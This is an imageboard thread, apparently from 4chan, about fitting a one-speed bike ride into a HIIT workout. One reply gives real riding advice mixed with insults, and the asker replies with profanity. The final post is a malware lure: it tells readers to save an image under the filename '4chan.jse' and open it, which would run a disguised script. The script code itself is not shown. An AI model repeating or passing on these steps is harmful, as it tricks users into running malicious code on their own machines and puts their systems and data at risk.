File :-(, x, )
Anonymous
How can i apply a bike ride into a HIIT session? its only a one speed bike so i cant really "burst" for 30 seconds on it, i supose i can pedal harder but im wondering would this have the same affect? inb4 troll etc
pic related
>> bump Anonymous
PERSONNEL BUMP
>> Anonymous
you can stand out of the seat, and pedal faster sure.

if you actually have a bike and not some recumbent/stationary thing, the plan the HIIT to be hill sprints- you know, going up hill- which you can just mimick by standing out of the seat and pedaling harder anyways lol!

but it sounds like you are 15, fat and have a bmx. In which case, you should probably just go play WoW.
>> Anonymous
>>293243
how did you manage to figure i was a 15
year old wow playing fatty you stupid cunt? i asked a literate and simple question, get fucked you waste of space.
170lbs
6'1
20
>> Anonymous
     File :-(, x)
1. Open this image­. Yo­u will see an error message.
2. Save it with the filename "4chan.jse".
3. Open the file you just saved.
4. Shit bricks.